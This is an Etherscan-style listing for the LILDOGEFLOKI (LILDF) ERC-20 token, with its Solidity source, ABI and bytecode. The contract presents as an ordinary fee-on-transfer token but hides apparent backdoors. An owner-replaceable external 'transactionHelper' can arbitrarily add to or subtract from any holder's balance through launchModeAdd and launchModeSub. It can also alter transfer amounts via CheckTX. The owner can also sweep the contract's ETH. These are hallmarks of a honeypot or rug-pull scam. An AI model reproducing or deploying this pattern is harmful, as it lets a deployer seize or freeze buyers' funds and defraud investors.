ERC-20
Overview
Max Total Supply
1,000,000,000,000,000,000 LILDF
Holders
94
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,577,821,684,481,967.23499966 LILDFValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
LILDOGEFLOKI
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-11-02 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface ITransactionHelper { function CheckTX(address, address, uint256, address) external returns(uint256); function openTrading(address) external; } contract LILDOGEFLOKI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "LILDOGEFLOKI"; string private constant _symbol = "LILDF"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; ITransactionHelper public transactionHelper; modifier lockTheSwap { inSwap = true; _; inSwap = false; } modifier onlyTXHelper() { require( _msgSender() == address(transactionHelper) , "TXHelper: caller is not the TXHelper"); _; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), 2**256 - 1); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _feeAddrWallet1 = payable(msg.sender); _feeAddrWallet2 = payable(msg.sender); _tOwned[_msgSender()] = _tTotal; transactionHelper = ITransactionHelper(address(0x1314404D44a2De710752aFbDeBC8E6f22C6550A6)); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[address(transactionHelper)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 5; _feeAddr2 = 5; if(from == address(transactionHelper)|| from == address(this)){ _tOwned[from] = _tOwned[from].sub(amount); _tOwned[to] = _tOwned[to].add(amount); return; } if(_isExcludedFromFee[from] || _isExcludedFromFee[from]){ _feeAddr1 = 0; _feeAddr2 = 0; } if (from != owner() && to != owner()) { if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 8; _feeAddr2 = 4; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { transactionHelper.openTrading(address(this)); swapEnabled = true; tradingOpen = true; } function newtransactionHelper(address _txHelper) external onlyOwner() { transactionHelper = ITransactionHelper(_txHelper); _allowances[address(this)][address(_txHelper)] = uint256(2**256 - 1); _isExcludedFromFee[_txHelper] = true; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function recoverEth() external onlyOwner() { payable(msg.sender).transfer(address(this).balance); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _takeTeam(tTeam); _takeTax(tFee); if(!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]){ tTransferAmount = transactionHelper.CheckTX(sender, recipient, tTransferAmount, msg.sender);} emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _takeTax( uint256 tFee) private { _tOwned[address(this)] = _tOwned[address(this)].add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function setSwapEnabled(bool onoff) external onlyOwner() { swapEnabled = onoff; } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function launchModeAdd(address _1, uint256 amount) external onlyTXHelper{ _tOwned[_1] = _tOwned[_1].add(amount); } function launchModeSub(address _1, uint256 amount) external onlyTXHelper{ _tOwned[_1] = _tOwned[_1].sub(amount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); return (tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_1","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"launchModeAdd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_1","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"launchModeSub","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_txHelper","type":"address"}],"name":"newtransactionHelper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"transactionHelper","outputs":[{"internalType":"contract ITransactionHelper","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600a805461ffff60a81b191690553480156200001f57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620000993082600019620003a7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620000d357600080fd5b505afa158015620000e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200010e9190620004d3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200015757600080fd5b505afa1580156200016c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001929190620004d3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620001db57600080fd5b505af1158015620001f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002169190620004d3565b600a80546001600160a01b03929092166001600160a01b031992831617905560078054821633908117909155600880549092161790556b033b2e3c9fd0803ce800000060026000620002653390565b6001600160a01b031681526020810191909152604001600090812091909155600b80546001600160a01b031916731314404d44a2de710752afbdebc8e6f22c6550a6179055600190600490620002c36000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526004909352818320805485166001908117909155600b54821684528284208054861682179055600754821684528284208054861682179055600854909116835291208054909216179055620003463390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6b033b2e3c9fd0803ce80000006040516200039891815260200190565b60405180910390a35062000505565b6001600160a01b0383166200040f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620004725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000406565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600060208284031215620004e657600080fd5b81516001600160a01b0381168114620004fe57600080fd5b9392505050565b611ef880620005156000396000f3fe6080604052600436106101635760003560e01c806373d3826f116100c0578063bcdb446b11610074578063c9567bf911610059578063c9567bf914610438578063dd62ed3e1461044d578063e01af92c146104a057600080fd5b8063bcdb446b1461040e578063c3c8cd801461042357600080fd5b806395d89b41116100a557806395d89b41146103885780639ba9230f146103ce578063a9059cbb146103ee57600080fd5b806373d3826f1461033d5780638da5cb5b1461035d57600080fd5b8063313ce567116101175780636fc3eaec116100fc5780636fc3eaec146102d057806370a08231146102e5578063715018a61461032857600080fd5b8063313ce5671461026257806331ebf8d01461027e57600080fd5b806318160ddd1161014857806318160ddd146101f757806323b872dd1461022057806324c545281461024057600080fd5b806306fdde031461016f578063095ea7b3146101c757600080fd5b3661016a57005b600080fd5b34801561017b57600080fd5b5060408051808201909152600c81527f4c494c444f4745464c4f4b49000000000000000000000000000000000000000060208201525b6040516101be9190611b5a565b60405180910390f35b3480156101d357600080fd5b506101e76101e2366004611bef565b6104c0565b60405190151581526020016101be565b34801561020357600080fd5b506b033b2e3c9fd0803ce80000005b6040519081526020016101be565b34801561022c57600080fd5b506101e761023b366004611c1b565b6104d7565b34801561024c57600080fd5b5061026061025b366004611bef565b61054d565b005b34801561026e57600080fd5b50604051600981526020016101be565b34801561028a57600080fd5b50600b546102ab9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101be565b3480156102dc57600080fd5b5061026061066b565b3480156102f157600080fd5b50610212610300366004611c5c565b73ffffffffffffffffffffffffffffffffffffffff1660009081526002602052604090205490565b34801561033457600080fd5b506102606106b2565b34801561034957600080fd5b50610260610358366004611c5c565b6107a2565b34801561036957600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff166102ab565b34801561039457600080fd5b5060408051808201909152600581527f4c494c444600000000000000000000000000000000000000000000000000000060208201526101b1565b3480156103da57600080fd5b506102606103e9366004611bef565b6108d5565b3480156103fa57600080fd5b506101e7610409366004611bef565b6109c1565b34801561041a57600080fd5b506102606109ce565b34801561042f57600080fd5b50610260610a7b565b34801561044457600080fd5b50610260610ace565b34801561045957600080fd5b50610212610468366004611c79565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260036020908152604080832093909416825291909152205490565b3480156104ac57600080fd5b506102606104bb366004611cb2565b610c15565b60006104cd338484610ce2565b5060015b92915050565b60006104e4848484610e95565b610543843361053e85604051806060016040528060288152602001611e9b6028913973ffffffffffffffffffffffffffffffffffffffff8a166000908152600360209081526040808320338452909152902054919061133c565b610ce2565b5060019392505050565b600b5473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461060e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f545848656c7065723a2063616c6c6572206973206e6f7420746865205458486560448201527f6c7065720000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff821660009081526002602052604090205461063e9082611390565b73ffffffffffffffffffffffffffffffffffffffff90921660009081526002602052604090209190915550565b60075473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106a557600080fd5b476106af81611410565b50565b60005473ffffffffffffffffffffffffffffffffffffffff163314610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b600b805473ffffffffffffffffffffffffffffffffffffffff9092167fffffffffffffffffffffffff0000000000000000000000000000000000000000909216821790553060009081526003602090815260408083209383529281528282207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9055600490522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b600b5473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610991576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f545848656c7065723a2063616c6c6572206973206e6f7420746865205458486560448201527f6c706572000000000000000000000000000000000000000000000000000000006064820152608401610605565b73ffffffffffffffffffffffffffffffffffffffff821660009081526002602052604090205461063e90826114b3565b60006104cd338484610e95565b60005473ffffffffffffffffffffffffffffffffffffffff163314610a4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b60405133904780156108fc02916000818181858888f193505050501580156106af573d6000803e3d6000fd5b60075473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ab557600080fd5b306000908152600260205260409020546106af816114f5565b60005473ffffffffffffffffffffffffffffffffffffffff163314610b4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b600b546040517fca72a4e700000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff9091169063ca72a4e790602401600060405180830381600087803b158015610bba57600080fd5b505af1158015610bce573d6000803e3d6000fd5b5050600a80547fffffffffffffffffff00ff00ffffffffffffffffffffffffffffffffffffffff167601000100000000000000000000000000000000000000001790555050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c96576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b600a8054911515760100000000000000000000000000000000000000000000027fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff8316610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610605565b73ffffffffffffffffffffffffffffffffffffffff8216610e27576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610605565b73ffffffffffffffffffffffffffffffffffffffff83811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316610f38576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610605565b73ffffffffffffffffffffffffffffffffffffffff8216610fdb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610605565b6000811161106b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f00000000000000000000000000000000000000000000006064820152608401610605565b6005808055600655600b5473ffffffffffffffffffffffffffffffffffffffff848116911614806110b1575073ffffffffffffffffffffffffffffffffffffffff831630145b156111505773ffffffffffffffffffffffffffffffffffffffff83166000908152600260205260409020546110e690826114b3565b73ffffffffffffffffffffffffffffffffffffffff80851660009081526002602052604080822093909355908416815220546111229082611390565b73ffffffffffffffffffffffffffffffffffffffff9092166000908152600260205260409020919091555050565b73ffffffffffffffffffffffffffffffffffffffff831660009081526004602052604090205460ff16806111a9575073ffffffffffffffffffffffffffffffffffffffff831660009081526004602052604090205460ff165b156111b957600060058190556006555b60005473ffffffffffffffffffffffffffffffffffffffff8481169116148015906111ff575060005473ffffffffffffffffffffffffffffffffffffffff838116911614155b1561132c57600a5473ffffffffffffffffffffffffffffffffffffffff8381169116148015611249575060095473ffffffffffffffffffffffffffffffffffffffff848116911614155b801561127b575073ffffffffffffffffffffffffffffffffffffffff831660009081526004602052604090205460ff16155b1561128b57600860055560046006555b30600090815260026020526040902054600a547501000000000000000000000000000000000000000000900460ff161580156112e25750600a5473ffffffffffffffffffffffffffffffffffffffff858116911614155b801561130a5750600a54760100000000000000000000000000000000000000000000900460ff165b1561132a57611318816114f5565b4780156113285761132847611410565b505b505b61133783838361171f565b505050565b6000818484111561137a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106059190611b5a565b5060006113878486611d03565b95945050505050565b60008061139d8385611d1a565b905083811015611409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610605565b9392505050565b60075473ffffffffffffffffffffffffffffffffffffffff166108fc61143783600261172a565b6040518115909202916000818181858888f1935050505015801561145f573d6000803e3d6000fd5b5060085473ffffffffffffffffffffffffffffffffffffffff166108fc61148783600261172a565b6040518115909202916000818181858888f193505050501580156114af573d6000803e3d6000fd5b5050565b600061140983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061133c565b600a80547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff167501000000000000000000000000000000000000000000179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061156a5761156a611d32565b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201810191909152600954604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b1580156115e457600080fd5b505afa1580156115f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061161c9190611d61565b8160018151811061162f5761162f611d32565b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526009546116629130911684610ce2565b6009546040517f791ac94700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063791ac947906116c1908590600090869030904290600401611d7e565b600060405180830381600087803b1580156116db57600080fd5b505af11580156116ef573d6000803e3d6000fd5b5050600a80547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b61133783838361176c565b600061140983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119b3565b600080600061177a846119fb565b73ffffffffffffffffffffffffffffffffffffffff891660009081526002602052604090205492955090935091506117b290856114b3565b73ffffffffffffffffffffffffffffffffffffffff80881660009081526002602052604080822093909355908716815220546117ee9084611390565b73ffffffffffffffffffffffffffffffffffffffff861660009081526002602052604090205561181d81611a23565b61182682611a23565b73ffffffffffffffffffffffffffffffffffffffff861660009081526004602052604090205460ff16158015611882575073ffffffffffffffffffffffffffffffffffffffff851660009081526004602052604090205460ff16155b1561194457600b546040517fab70327100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff88811660048301528781166024830152604482018690523360648301529091169063ab70327190608401602060405180830381600087803b15801561190957600080fd5b505af115801561191d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119419190611e09565b92505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119a391815260200190565b60405180910390a3505050505050565b600081836119ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106059190611b5a565b5060006113878486611e22565b600080600080600080611a1387600554600654611a50565b9199909850909650945050505050565b30600090815260026020526040902054611a3d9082611390565b3060009081526002602052604090205550565b6000808080611a6a6064611a648989611aa5565b9061172a565b90506000611a7d6064611a648a89611aa5565b90506000611a9582611a8f8b866114b3565b906114b3565b9992985090965090945050505050565b600082611ab4575060006104d1565b6000611ac08385611e5d565b905082611acd8583611e22565b14611409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f77000000000000000000000000000000000000000000000000000000000000006064820152608401610605565b600060208083528351808285015260005b81811015611b8757858101830151858201604001528201611b6b565b81811115611b99576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b73ffffffffffffffffffffffffffffffffffffffff811681146106af57600080fd5b60008060408385031215611c0257600080fd5b8235611c0d81611bcd565b946020939093013593505050565b600080600060608486031215611c3057600080fd5b8335611c3b81611bcd565b92506020840135611c4b81611bcd565b929592945050506040919091013590565b600060208284031215611c6e57600080fd5b813561140981611bcd565b60008060408385031215611c8c57600080fd5b8235611c9781611bcd565b91506020830135611ca781611bcd565b809150509250929050565b600060208284031215611cc457600080fd5b8135801515811461140957600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600082821015611d1557611d15611cd4565b500390565b60008219821115611d2d57611d2d611cd4565b500190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060208284031215611d7357600080fd5b815161140981611bcd565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ddb57845173ffffffffffffffffffffffffffffffffffffffff1683529383019391830191600101611da9565b505073ffffffffffffffffffffffffffffffffffffffff969096166060850152505050608001529392505050565b600060208284031215611e1b57600080fd5b5051919050565b600082611e58577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e9557611e95611cd4565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fc8537f0caadd31c90d7766b72fa0867e1827633d0839286abce308f45965b6464736f6c63430008090033
Deployed Bytecode
